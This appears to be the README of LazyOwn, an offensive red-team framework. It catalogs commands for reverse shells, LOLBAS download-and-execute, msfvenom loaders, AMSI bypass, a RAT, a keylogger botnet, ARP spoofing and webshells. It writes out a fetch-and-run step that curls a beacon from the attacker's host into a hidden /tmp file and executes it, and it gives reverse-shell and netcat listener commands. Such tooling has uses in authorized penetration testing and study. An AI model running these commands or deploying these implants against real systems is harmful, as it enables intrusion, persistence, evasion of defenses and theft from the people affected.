banners download_malwarebazar groq pth_net
c2asm extract_ports img2vid pup
camphish eyewitness malwarebazar vulns
create_session_json eyewitness_py morse
createjsonmachine get_avaible_actions name_the_hash
createjsonmachine_batch gowitness nmapscripthelp
Miscellaneous
─────────────────
acknowledgearp clone_site getseclist links run
acknowledgeicmp cron graph list sh
addhosts decode h load_session show
aliass download_resources hex_to_plaintext nano sys
assign encode ignorearp news tab
banner encoderpayload ignoreicmp payload urldecode
base64decode encodewinbase64 ip pwd urlencode
base64encode exit ip2asn qa v
check_update fixel ip2hex rhost
clean fixperm kick rot
clock gencert lazyscript rotf
Lua Plugin
──────────────
generate_c_reverse_shell lolbas_certutil_download_exec
generate_cleanup_commands lolbas_certutil_exe
generate_html_payload lolbas_mshta_js
generate_lateral_command lolbas_mshta_reverse_shell
generate_linux_asm_reverse_shell lolbas_rundll32_dll
generate_linux_raw_shellcode lolbas_wmic_xsl_execution
generate_lolbird parse_nmap_with_xmlstarlet
generate_msfvenom_loader run_nuclei_on_nmap_files
generate_msfvenom_loader_windows run_python_rev_c2
generate_reverse_shell rundll32_sct_from_url
generate_stub validate_shellcode
kerberos_harvest visualize_network
lolbas_bitsadmin_exe
Yaml Addon. ─────────────── AdaptixC2 GoPEInjection OverRide agentzero gosearch peeko argfuscator gui pretender ATTPwn gui2 PTMultiTools AuroraPatch hack_browser_data PTMultiTools_scan banner_tool hellbird PyinMemoryPE bbr hive pyrit beacon hooka_linux_amd64 raven blacksandbeacon hostdiscover ridenum blacksandbeacon_bof kivi_revshell setoolkit cgoblin_windows laps ShadowLink Clematis lazyaddon_creator shellcode_custom_win_rev_tcp_xored commix2 lazyagentAi SigPloit copy-fail-CVE-2026-31431 lazybinenc spoonmap CVE-2022-22077 lazyftpsniff stratus_detonate CVE_2025_24071_PoC LazyLoader stratus_list demiguise lazymapd toposwarm ebird3 lazyownbt unicorn evilginx2 LazyOwnExplorer upxdump gcr llm vulnbot gemini-cli NullGate vulnbot_groq gen_dll_rev oniux vulnhuntr Get_ReverseShell opencode_adapter watchguard githubot orpheus wspcoerce gomulti_loader_linux gomulti_loader_windows
Adversary YAML.
───────────────────
amsi_c implant_nim_nim infect_c pid_c
implant_crypt_go implant_rust_rs persist_ps1 shell_c
Artificial Intelligence ─────────────────────────── ai_toggle
Uncategorized Commands
──────────────────────
addalias gobuster_dns ipy ollama_enum set
alias gobuster_http listaliases pop shell
edit gobuster_web macro quit shortcuts
EOF help nikto_host rrhost subwfuzz_tool
ffuf_enumeration history notify run_pyscript
ffuf_tool ipp nuclei_ad_http run_script
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $
## Tag auf YouTube
<https://www.youtube.com/hashtag/lazyown>
## Podcast
<https://www.youtube.com/watch?v=m4FtlhownvM&list=PLW9Qe5HJK5CFXyIsF9b0NB6n9EY8Am3YZ>
## DeepWiki
<https://deepwiki.com/grisuno/LazyOwn/>```sh
LazyOwn> assign binary_name my_binary
LazyOwn> assign rhost 192.168.1.100
LazyOwn> assign api_key my_api_key
LazyOwn> run lazysearch
LazyOwn> run lazynmap
LazyOwn> exit

Zur Suche innerhalb der aus GTFOBins bezogenen gescrapten Datenbank.```sh python3 lazysearch.py binario_a_buscar
## Suchen mit GUI
Zusätzliche Funktionen und Verbesserungen:
AutocompleteEntry:
Ein Filter wurde hinzugefügt, um None-Werte aus der Autocomplete-Liste zu entfernen.
Neuer Angriffsvektor:
Eine Schaltfläche „Neuer Angriffsvektor“ wurde zur Hauptoberfläche hinzugefügt.
Es wurde eine Funktionalität implementiert, um einen neuen Angriffsvektor hinzuzufügen und die aktualisierten Daten in Parquet-Dateien zu speichern.
Export nach CSV:
Eine Schaltfläche „Export nach CSV“ wurde zur Hauptoberfläche hinzugefügt.
Es wurde eine Funktionalität implementiert, um DataFrame-Daten in eine vom Benutzer ausgewählte CSV-Datei zu exportieren.
Verwendung:
Einen neuen Angriffsvektor hinzufügen: Klicken Sie auf die Schaltfläche „Neuer Angriffsvektor“, füllen Sie die Felder aus und speichern Sie.
Export nach CSV: Klicken Sie auf die Schaltfläche „Export nach CSV“ und wählen Sie den Speicherort für die CSV-Datei aus.
Neue Funktion scan_system_for_binaries:
Implementiert systemweite Binärsuchen mit dem Befehl file, um festzustellen, ob eine Datei binär ist.
Verwendet os.walk, um das Dateisystem zu durchlaufen.
Die Ergebnisse werden in einem neuen Fenster innerhalb der GUI angezeigt.
Schaltfläche zum Suchen nach Binärdateien:
Eine Schaltfläche „Search System for Binaries“ wurde zur Hauptoberfläche hinzugefügt, die die Funktion scan_system_for_binaries aufruft.
Hinweis:
Die Funktion is_binary verwendet den Unix-Befehl file, um festzustellen, ob eine Datei eine binäre ausführbare Datei ist. Wenn Sie ein anderes Betriebssystem verwenden, müssen Sie diese Methode für die Kompatibilität anpassen.
Diese Implementierung kann ressourcenintensiv sein, da sie das gesamte Dateisystem durchläuft. Sie könnten in Betracht ziehen, zusätzliche Optionen hinzuzufügen, um die Suche auf bestimmte Verzeichnisse zu beschränken oder nach bestimmten Dateitypen zu filtern.```sh
python3 LazyOwnExplorer.py
```sh
python3 lazyown.py
Wenn Sie aktualisieren möchten, gehen wir wie folgt vor:```sh
cd LazyOwn
rm parquets/*.csv
rm parquets/*.parquet
./update_db.sh
Die LazyOwn Webshell Collection ist eine Sammlung von Webshells für unser Framework, die es uns ermöglicht, eine Webshell auf der Maschine einzurichten, auf der wir LazyOwn ausführen, und zwar unter Verwendung verschiedener Programmiersprachen. Im Wesentlichen startet LazyOwn Webshell einen Webserver innerhalb des Modulverzeichnisses, der über einen Webbrowser zugänglich ist. Dadurch können wir sowohl die Module separat über das Web verfügbar machen als auch auf das cgi-bin-Verzeichnis zugreifen, in dem sich vier Shells befinden: eine in Bash, eine weitere in Perl, eine in Python und eine in ASP, falls das Ziel eine Windows-Maschine ist.```sh lazywebshell
y listo ya podemos acceder a cualquiera de estas url:
<http://localhost:8080/cgi-bin/lazywebshell.sh>
<http://localhost:8080/cgi-bin/lazywebshell.py>
<http://localhost:8080/cgi-bin/lazywebshell.asp>
<http://localhost:8080/cgi-bin/lazywebshell.cgi>

## Lazy MSFVenom für Reverse Shell verwenden
Führt das Tool `msfvenom` aus, um basierend auf Benutzereingaben eine Vielzahl von Payloads zu generieren.
Diese Funktion fordert den Benutzer auf, einen Payload-Typ aus einer vordefinierten Liste auszuwählen, und führt den entsprechenden
`msfvenom`-Befehl aus, um den gewünschten Payload zu erstellen. Sie übernimmt Aufgaben wie die Generierung verschiedener Arten von
Payloads für Linux-, Windows-, macOS- und Android-Systeme, einschließlich optionaler Kodierung mit Shikata Ga Nai für C-Payloads.
Die generierten Payloads werden in ein `sessions`-Verzeichnis verschoben, in dem entsprechende Berechtigungen gesetzt werden. Zusätzlich
können die Payloads mit UPX zur Platzeinsparung komprimiert werden. Wenn der ausgewählte Payload eine Android-APK ist,
signiert die Funktion auch die APK und führt die erforderlichen Nachbearbeitungsschritte durch.
:param line: Kommandozeilenargumente für das Skript.
:return: None```sh
run lazymsfvenom or venom
Das Command-&-Control-(C2)-System ermöglicht Remote-Operationen über eine Server-Client-Architektur mit verschlüsselter Kommunikation.

Im Verzeichnis /tmp wird eine Datei mit dem im Payload festgelegten Namen binary_name erstellt, die im Speicher mit gzip initialisiert wird und bash im Payload verwendet. Um den Payload aus dem JSON festzulegen, verwenden Sie den Befehl payload zum Ausführen. Verwenden Sie:```sh lazypathhijacking
## Verwendung des LazyOwn RAT-Modus

LazyOwn RAT ist ein einfaches, aber leistungsstarkes Remote-Administration-Tool. Es verfügt über eine Screenshot-Funktion, die den Bildschirm des Servers erfasst, einen Upload-Befehl, mit dem wir Dateien auf die kompromittierte Maschine hochladen können, und einen C&C-Modus, in dem Befehle an den Server gesendet werden können. Es arbeitet in zwei Modi: Client-Modus und Server-Modus. Es gibt keine Obfuskation, und das RAT basiert auf BasicRat. Du findest es auf GitHub unter https://github.com/awesome-security/basicRAT und unter https://github.com/hash3liZer/SillyRAT. Obwohl Letzteres viel umfassender ist, wollte ich nur die Screenshot-Erfassung, Datei-Uploads und das Senden von Befehlen implementieren. Vielleicht werde ich in Zukunft eine Webcam-Anzeigefunktion hinzufügen, aber das kommt später.```sh
usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY
lazyownserver.py: error: the following arguments are required: --key
usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY
lazyownclient.py: error: the following arguments are required: --host, --port, --key
LazyOwn> run lazyownclient
[?] lhost and lport and rat_key must be set
LazyOwn> run lazyownserver
[?] rhost and lport and rat_key must be set
luego los comandos son:
upload /path/to/file
donwload /path/to/file
screenshot
sysinfo
fix_xauth #to fix xauth xD
lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

LazyMeta Extract0r ist ein Tool, das entwickelt wurde, um Metadaten aus verschiedenen Dateitypen zu extrahieren, darunter PDF, DOCX, OLE-Dateien (wie DOC und XLS) und verschiedene Bildformate (JPG, JPEG, TIFF). Dieses Tool durchläuft ein angegebenes Verzeichnis, sucht nach Dateien mit kompatiblen Erweiterungen, extrahiert die Metadaten und speichert sie in einer Ausgabedatei.
[*] Iniciando: LazyMeta extract0r [;,;]
usage: lazyown_metaextract0r.py [-h] --path PATH lazyown_metaextract0r.py: error: the following arguments are required: --path```sh python3 lazyown_metaextract0r.py --path /home/user

## Modus verwenden: Entschlüsseln Verschlüsseln
Eine Verschlüsselungsmethode, die es uns ermöglicht, Dateien sowohl zu verschlüsseln als auch zu entschlüsseln, wenn wir natürlich den Schlüssel haben.
```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt

Die Verwendung von Lazynmap bietet uns ein automatisiertes Skript für ein Ziel, in diesem Fall 127.0.0.1, unter Verwendung von Nmap. Das Skript erfordert administrative Berechtigungen über sudo. Es enthält außerdem ein Netzwerkerkennungsmodul, um zu identifizieren, was in dem IP-Segment vorhanden ist, in dem Sie sich befinden. Darüber hinaus kann das Skript jetzt ohne Parameter über den Alias nmap oder mit dem Befehl run lazynmap aufgerufen werden.
```sh
./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap
## Verwendung des LazyOwn GPT One Liner CLI Assistant und Researcher
Entdecke die Revolution bei der Automatisierung von Pentesting-Aufgaben mit dem LazyOwn GPT One Liner CLI Assistant! Dieses unglaubliche Skript ist Teil der LazyOwn-Tool-Suite und wurde entwickelt, um dein Leben als Pentester effizienter und produktiver zu machen.
Hauptfunktionen:
Intelligente Automatisierung: Nutzt die Leistungsfähigkeit von Groq und fortschrittlichen natürlichen Sprachmodellen, um präzise und effiziente Befehle basierend auf deinen spezifischen Anforderungen zu generieren.
Benutzerfreundliche Oberfläche: Mit einem einfachen Prompt generiert und führt der Assistent One-Liner-Skripte aus und reduziert so drastisch den Zeit- und Arbeitsaufwand für die Erstellung komplexer Befehle.
Kontinuierliche Verbesserung: Transformiert und optimiert kontinuierlich seine Wissensbasis, um dir die besten Lösungen zu bieten und sich an jede Situation anzupassen.
Vereinfachtes Debugging: Aktiviere den Debug-Modus, um detaillierte Informationen bei jedem Schritt zu erhalten, was die Identifizierung und Behebung von Fehlern erleichtert.
Nahtlose Integration: Funktioniert mühelos in deinem Arbeitsbereich und nutzt die Leistungsfähigkeit der Groq-API, um schnelle und präzise Antworten zu liefern.
Sicherheit und Kontrolle:
Sichere Fehlerbehandlung: Erkennt und reagiert intelligent auf Ausführungsfehler und stellt sicher, dass du die volle Kontrolle über jeden generierten Befehl behältst.
Kontrollierte Ausführung: Vor der Ausführung eines Befehls wird deine Bestätigung angefordert, sodass du genau weißt, was auf deinem System ausgeführt wird.
Einfache Konfiguration:
Richte deinen API-Schlüssel in Sekunden ein und beginne, alle Vorteile des LazyOwn GPT One Liner CLI Assistant zu genießen. Ein Schnellstartleitfaden ist verfügbar, um dir bei der Konfiguration und der Maximierung des Potenzials dieses leistungsstarken Tools zu helfen.
Ideal für Pentester und Entwickler:
Optimiere deine Prozesse: Vereinfache und beschleunige die Befehlsgenerierung in deinen Sicherheitsaudits.
Kontinuierliches Lernen: Die Wissensbasis wird ständig aktualisiert und verbessert und bietet dir immer die neuesten Best Practices und Lösungen.
Mit dem LazyOwn GPT One Liner CLI Assistant veränderst du die Art und Weise, wie du arbeitest, und machst sie schneller, effizienter und sicherer. Verschwende keine Zeit mehr mit repetitiven und komplexen Aufgaben und konzentriere dich auf das, was wirklich zählt: das Entdecken und Beheben von Schwachstellen!
Schließe dich der Pentesting-Revolution mit LazyOwn an und bringe deine Produktivität auf die nächste Stufe!
[?] Verwendung: python lazygptcli.py --prompt "<your prompt>" [--debug]
[?] Optionen:
--prompt "The prompt for the programming task (required)."
--debug, -d "Enables debug mode to display debug messages."
--transform "Transforms the original knowledge base into an enhanced base using Groq."
[?] Stelle sicher, dass du deinen API-Schlüssel konfigurierst, bevor du das Skript ausführst:
export GROQ_API_KEY=<your_api_key>
[->] Besuche: https://console.groq.com/docs/quickstart (kein gesponserter Link)
Voraussetzungen:
Python 3.x
Ein gültiger Groq-API-Schlüssel
Schritte zum Erhalt des Groq-API-Schlüssels:
Besuche die Groq Console (https://console.groq.com/docs/quickstart), um dich zu registrieren und einen API-Schlüssel zu erhalten.```sh
export GROQ_API_KEY=<tu_api_key>
python3 lazygptcli.py --prompt "<tu prompt>" [--debug]

Geben Sie die Argumente wie in den Anforderungen des Skripts angegeben an: Das Skript erfordert die folgenden Argumente:
usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA] [--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE] --url: Die URL, an die die Anfrage gesendet wird (erforderlich). --method: Die zu verwendende HTTP-Methode, z. B. GET oder POST (optional, Standard: GET). --headers: Die Anfrage-Header im JSON-Format (optional, Standard: {}). --params: Die URL-Parameter im JSON-Format (optional, Standard: {}). --data: Die Formulardaten im JSON-Format (optional, Standard: {}). --json_data: Die JSON-Daten für die Anfrage im JSON-Format (optional, Standard: {}). --proxy_port: Der Port für den internen Proxy (optional, Standard: 8080). -w, --wordlist: Der Pfad zur Wortliste für den Fuzzing-Modus (optional). -hc, --hide_code: Der HTTP-Statuscode, der in der Ausgabe ausgeblendet werden soll (optional). Stellen Sie sicher, dass Sie die erforderlichen Argumente angeben, damit das Skript korrekt ausgeführt wird.```sh python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'
Form 2: Erweiterte Nutzung
Wenn Sie die erweiterten Funktionen des Skripts nutzen möchten, wie z. B. Request Replay oder Fuzzing, befolgen Sie diese Schritte:
Request Replay:
Um die Request-Replay-Funktionalität zu nutzen, geben Sie die Argumente wie zuvor angegeben an.
Während der Ausführung fragt das Skript, ob Sie die Anfrage wiederholen möchten. Geben Sie 'y' ein, um zu wiederholen, oder 'n', um den Repeater zu beenden.
Fuzzing:
Um die Fuzzing-Funktionalität zu nutzen, stellen Sie sicher, dass Sie eine Wortliste mit dem Argument -w oder --wordlist angeben.
Das Skript ersetzt das Wort LAZYFUZZ in der URL und anderen Daten durch die Wörter aus der bereitgestellten Wortliste.
Während der Ausführung zeigt das Skript die Ergebnisse jeder Fuzzing-Iteration an.
Dies sind die grundlegenden und erweiterten Möglichkeiten zur Verwendung des Skripts lazyburp.py. Je nach Ihren Anforderungen können Sie die Methode wählen, die am besten zu Ihrer spezifischen Situation passt.```sh
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ" \
--method POST \
--headers '{"User-Agent": "LAZYFUZZ"}' \
--params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
--data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
--json_data '{"key3": "LAZYFUZZ"}' \
--proxy_port 8080 \
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
-hc 501
-h, --help | Gibt die Hilfe-Nachricht aus und beendet das Programm | |
-v, --version | Gibt die Versionsnummer aus und beendet das Programm | |
-l, --log-level | <log-level> | Legt die Protokollierungsstufe fest (Standard: INFO) |
-o, --output | <output> | Legt den Ausgabemodus fest (Standard: CLI) |
-f, --format | <format> | Legt das Ausgabeformat fest (Standard: TXT) |
-s, --severity | <severity> | Legt die Mindest-Schweregradstufe fest, die gemeldet werden soll (Standard: INFO) |
-c, --config | <config> | Legt den Pfad zur Konfigurationsdatei fest (Standard: config.yaml) |
-t, --target | <target> | Legt das Ziel fest, das gescannt werden soll |
-m, --module | <module> | Legt das auszuführende Modul fest |
-k, --keyword | <keyword> | Legt das Schlüsselwort fest, nach dem gesucht werden soll |
-u, --url | <url> | Legt die URL fest, die gescannt werden soll |
-p, --port | <port> | Legt den Port fest, der gescannt werden soll |
| , |
--url "http://127.0.0.1:80/LAZYFUZZ" \
--method POST \
--headers '{"User-Agent": "LAZYFUZZ"}' \
--params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
--data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
--json_data '{"key3": "LAZYFUZZ"}' \
--proxy_port 8080 \
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \

Hinweis: Um das Wörterbuch zu verwenden, führen Sie den folgenden Befehl innerhalb von /usr/share/seclists aus:```sh
now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip
Dieses Modul wird verwendet, um im Netzwerk nach Passwörtern auf FTP-Servern zu suchen. Manche mögen sagen, dass FTP nicht mehr verwendet wird, aber Sie wären überrascht, in welchen kritischen Infrastrukturumgebungen ich riesige FTP-Dienste auf ihren Servern laufen gesehen habe. :)```sh assign device eth0 run lazyftpsniff

## Verwendung des LazyReverseShell-Modus
Listen```sh
nc -nlvp 1337 #o el puerto que escojamos

dann auf der Zielmaschine```sh ./lazyreverse_shell.sh --ip 127.0.0.1 --puerto 1337

## Verwendung von Lazy Curl im Recon-Modus
Das Modul befindet sich im Verzeichnis modules und wird wie folgt verwendet:```sh
chmod +x lazycurl.sh
und dann```sh ./lazycurl.sh --mode GET --url http://10.10.10.10
Verwendung.
GET:```sh
./lazycurl.sh --mode GET --url http://10.10.10.10
POST:```sh ./lazycurl.sh --mode POST --url http://10.10.10.10 --data "param1=value1¶m2=value2"
TRACE:```sh
./lazycurl.sh --mode TRACE --url http://10.10.10.10
```sh
Datei-Upload:```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt
wordlist-Bruteforce-Modus:```sh ./lazycurl.sh --mode BRUTE_FORCE --url http://10.10.10.10 --wordlist /usr/share/wordlists/rockyou.txt
Stellen Sie sicher, dass Sie die Parameter an Ihre Bedürfnisse anpassen und dass die von Ihnen angegebenen Werte für die Optionen in jedem Fall gültig sind.
## Verwendung des ARP-Spoofing-Modus
Das Skript bietet einen ARP-Spoofing-Angriff unter Verwendung von Scapy. In der Payload müssen Sie den lhost, den rhost und das Gerät festlegen, das Sie für die Durchführung des ARP-Spoofings verwenden werden.```sh
assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing
Dieses Skript bietet eine Röntgenansicht des betreffenden Systems, auf dem das Tool ausgeführt wird, und liefert Einblicke in dessen Konfiguration und Zustand.
```sh
run lazygath
## Verwendung des Lazy Own LFI RFI 2 RCE-Modus
Der LFI RFI 2 RCE-Modus wurde entwickelt, um einige der bekannteren Payloads gegen die in payload.json angegebenen Parameter zu testen. Dies ermöglicht eine umfassende Bewertung von Local File Inclusion (LFI), Remote File Inclusion (RFI) und Remote Code Execution (RCE)-Schwachstellen im Zielsystem.
```sh
payload
run lazylfi2rce
Der Sniffer-Modus ermöglicht die Erfassung von Netzwerkverkehr über Schnittstellen mithilfe der Option -i, die obligatorisch ist. Es gibt viele weitere optionale Einstellungen, die nach Bedarf angepasst werden können.
usage: lazysniff.py [-h] -i INTERFACE [-c COUNT] [-f FILTER] [-p PCAP] lazysniff.py: error: the following arguments are required: -i/--interface
To use the sniffer from the framework, you must configure the device with the command:
lazysniff ausführen
oder einfach
sniff```
### Experimental Obfuscation Using PyInstaller
This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.
```sh
./py2el.sh```
## Experimental NetBIOS Exploit
This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)
```sh
lazynetbios ausführen```
## Experimental LazyBotNet with Keylogger for Windows and Linux
This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the `payload` command, which sets all the configuration in our `payload.json`, allowing us to preload the configuration before starting the framework.
```sh
payload
run lazybotnet```
## Interactive Menus
The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.
### Clean Interruption
The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.
## License
This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.
## Acknowledgments ✌
A special thanks to [GTFOBins](https://gtfobins.github.io/) for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the `extractPorts` function in my `.zshrc` :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive
### Thanks to pwntomate 🍅
An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: <https://github.com/honze-net/pwntomate>
### Thanks to Sicat 🐈
An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. <https://github.com/justakazh/sicat/>
### Thanks to josefcohernandez
For identifying and reporting the Docker build failures caused by the repo.charm.sh outage and the Python version incompatibility. His report led to the fixes in `lazyown-docker/Dockerfile`.
### Thanks to EQSTLab (via yym8538)
For two critical security advisories that helped us harden the framework and fix serious vulnerabilities. Their responsible disclosure makes LazyOwn safer for the entire community.
## BlackSandBeacon — Linux BOF
**BlackSandBeacon** brings Beacon Object File (BOF) extensibility to Linux for the
first time in an open-source C2 framework. No commercial C2 (including Cobalt Strike)
offers Linux BOF support.
### What is Linux BOF?
On Windows, BOFs are position-independent PE COFF objects loaded by the beacon at
runtime, giving operators an in-memory plugin system without spawning new processes.
BlackSandBeacon ports this model to Linux:
- BOFs compile as **position-independent ELF shared objects** (`.so`) with GCC
(`-shared -fPIC -nostartfiles`).
- The beacon loads them at runtime via `dlopen` — no disk writes after delivery,
no new process, no shell.
- The **`datap` API** (`BeaconDataParse`, `BeaconDataInt`, `BeaconDataExtract`,
`BeaconPrintf`, `BeaconOutput`) is source-compatible with the Windows BOF contract,
so existing BOF authors can port by replacing Win32 calls with Linux syscalls or
libc equivalents.
- Advanced BOFs can use **direct syscalls via inline assembly** or `io_uring` for
kernel interaction without libc linking.
### Deployment via LazyOwn
```bash
# 1. Beacon erstellen und bereitstellen
(LazyOwn) > blacksandbeacon
# 2. An das Ziel liefern (Befehl wird auf dem Ziel ausgeführt)
curl -sk "http://{lhost}:{lport}/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &
# 3. BOF-Loader erstellen und bereitstellen
(LazyOwn) > blacksandbeacon_bof
# 4. BOF-Loader an eine aktive Sitzung liefern
curl -sk "http://{lhost}:{lport}/bof_loader" -o /tmp/.bof && chmod +x /tmp/.bof && /tmp/.bof```
### Porting a Windows BOF to Linux
```c
// Win32-API-Aufrufe durch direkte Syscalls oder libc-Äquivalente ersetzen.
// Die datap-API bleibt identisch.
#include "beacon.h"
void go(char *args, int len) {
datap parser;
BeaconDataParse(&parser, args, len);
char *target = BeaconDataExtract(&parser, NULL);
// Linux: syscall(SYS_open, ...) anstelle von CreateFile verwenden
BeaconPrintf(CALLBACK_OUTPUT, "target: %s\n", target);
}```
Compile: `gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c`
### Adoption gap this closes
| Capability | Cobalt Strike | Sliver | Havoc | LazyOwn + BlackSandBeacon |
|---|---|---|---|---|
| Windows BOF | Yes | No | No | Yes (via `beacon` addon) |
| Linux BOF | **No** | **No** | **No** | **Yes** |
| ARM BOF | No | No | No | Planned (`blackzincbeacon`) |
| Open source | No | Yes | Yes | Yes |
## Related Projects
LazyOwn ships as the "all-in-one" front of a small ecosystem of focused
red-team tools. Each project below stands on its own and can be wired into
LazyOwn through `lazyaddons/*.yaml`, the C2 implant pipeline, or the MCP
`lazyown_palette --info` view (which exposes the graphify-derived `calls`
and `related` neighbours of every command).
### Lightweight beacons (C / ASM)
Drop-in replacements for the bundled Go beacon when you need a smaller
footprint or per-architecture artefacts:
- **[beacon](https://github.com/grisuno/beacon)** — minimalist Windows beacon in C with BOF support via Early Bird APC injection and NT Native API calls. Pairs with LazyOwn's malleable C2 profile. Wired in via `lazyaddons/beacon.yaml`.
- **[blacksandbeacon](https://github.com/grisuno/blacksandbeacon)** — Linux-native beacon in C with first-class **Linux BOF (Beacon Object File)** support via ELF shared-object injection and direct syscalls. BOFs are loaded at runtime through a `dlopen` runtime — the same extensibility model as Windows BOF but targeting Linux kernel internals. **No commercial C2 framework (including Cobalt Strike) offers Linux BOF support.** Wired in via `lazyaddons/blacksandbeacon.yaml`; BOF loader via `lazyaddons/blacksandbeacon_bof.yaml`.
- **[blackzincbeacon](https://github.com/grisuno/blackzincbeacon)** — ARM build of the same family, for embedded / IoT engagements.
### Lightweight C2 frameworks
Alternative C2 surfaces that speak the same beacon protocol as `lazyc2.py`
or that can serve as a teamserver back-end:
- **[BlackObsidianC2](https://github.com/grisuno/BlackObsidianC2)** — small, fast Go C2 server intended as a stripped-down companion to `lazyc2.py`.
- **[LazyOwnBT](https://github.com/grisuno/LazyOwnBT)** — Bluetooth / proximity-aware C2 PoC; useful when the engagement scope explicitly covers RF.
### AI / orchestration
Drop into LazyOwn through MCP, the `toposwarm` lazyaddon, or directly:
- **[toposwarm](https://github.com/grisuno/toposwarm)** — natural-language router on top of the LazyOwn command catalogue; ships as both a lazyaddon and a Claude Code skill.
- **[LazyOwnOpenCodeAdapter](https://github.com/grisuno/LazyOwnOpenCodeAdapter)** — bridge between LazyOwn and OpenCode-style coding agents.
### Loaders, shellcode runners and post-exploitation
Used both by humans through pwntomate `.tool` files and by the autonomous
daemon when the reactive selector recommends an in-memory technique:
- **[gomulti_loader](https://github.com/grisuno/gomulti_loader)** — multi-platform Go shellcode loader (Linux + Windows). Wired in via `lazyaddons/gomulti_loader_linux.yaml` and `gomulti_loader_windows.yaml`.
- **[win_shellcode](https://github.com/grisuno/win_shellcode)** — collection of Windows shellcode templates ready to be linked from a beacon stub.
- **[ejecutarShellcode](https://github.com/grisuno/ejecutarShellcode)** — minimal "execute-this-shellcode" loaders for quick PoCs.
- **[ShellcodeFluctuation_crosscompile](https://github.com/grisuno/ShellcodeFluctuation_crosscompile)** — cross-compilable port of the ShellcodeFluctuation memory-encryption trick.
- **[LazyLoader](https://github.com/grisuno/LazyLoader)** — generic loader scaffold designed to be extended per engagement.
- **[OverRide](https://github.com/grisuno/OverRide)** — DLL hijack / DLL search-order-override toolkit for Windows persistence.
- **[ShadowLink](https://github.com/grisuno/ShadowLink)** — link-time / symbol-rewrite tooling for Linux ELF stagers.
- **[netsh_helper_dll](https://github.com/grisuno/netsh_helper_dll)** — `netsh` helper-DLL persistence template for Windows.
### Defensive bypass / instrumentation
- **[amsi](https://github.com/grisuno/amsi)** — AMSI bypass research and PoCs; invoked from LazyOwn payloads when AV/EDR is the limiting factor.
### Exploits and CVE PoCs
LazyOwn already vendors several recent kernel-class PoCs through the addon
system (`lazyaddons/copyfail.yaml`, `lazyaddons/dirtyfrag.yaml`,
`lazyaddons/CVE-2022-22077.yaml`, `lazyaddons/CVE_2025_24071_PoC.yaml`,
`lazyaddons/ebird3.yaml`). The original repositories are listed here for
auditability and citation:
- **[CVE-2022-22077](https://github.com/grisuno/CVE-2022-22077)** — RTCore64.sys arbitrary R/W IOCTL — used by the LazyOwn BYOVD chain.
- **[copy-fail-CVE-2026-31431](https://github.com/grisuno/copy-fail-CVE-2026-31431)** — next-gen Dirty Pipe variant. Backed by the `copyfail` lazyaddon.
- **[ebird3](https://github.com/grisuno/ebird3)** — Early-Bird APC injection + NT Native API loader; produces stealthy in-memory Windows payloads.
> **Want to add yours?** Drop a `lazyaddons/<name>.yaml` describing
> `repo_url`, `install_command` and `execute_command`; LazyOwn will pick it
> up automatically and surface it through the MCP `lazyown_palette` view.
## Abstract
LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.
## Lazyducky_digispark

Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.
This method checks if Arduino CLI and Micronucleus are installed on the system.
If they are not available, it installs them. It then compiles a Digispark sketch
and uploads the generated .hex file to the Digispark device.
The method performs the following actions:
1. Checks for the presence of Arduino CLI and installs it if not available.
2. Configures Arduino CLI for Digispark if not already configured.
3. Generates a reverse shell payload and prepares the sketch for Digispark.
4. Compiles the prepared Digispark sketch using Arduino CLI.
5. Checks for the presence of Micronucleus and installs it if not available.
6. Uploads the compiled .hex file to the Digispark device using Micronucleus.
Args:
line (str): Command line input provided by the user, which may contain additional parameters.
Returns:
None: The function does not return any value but may modify the state of the system
by executing commands.
## Star History
<a href="https://www.star-history.com/#grisuno/LazyOwn&Date">
<picture>
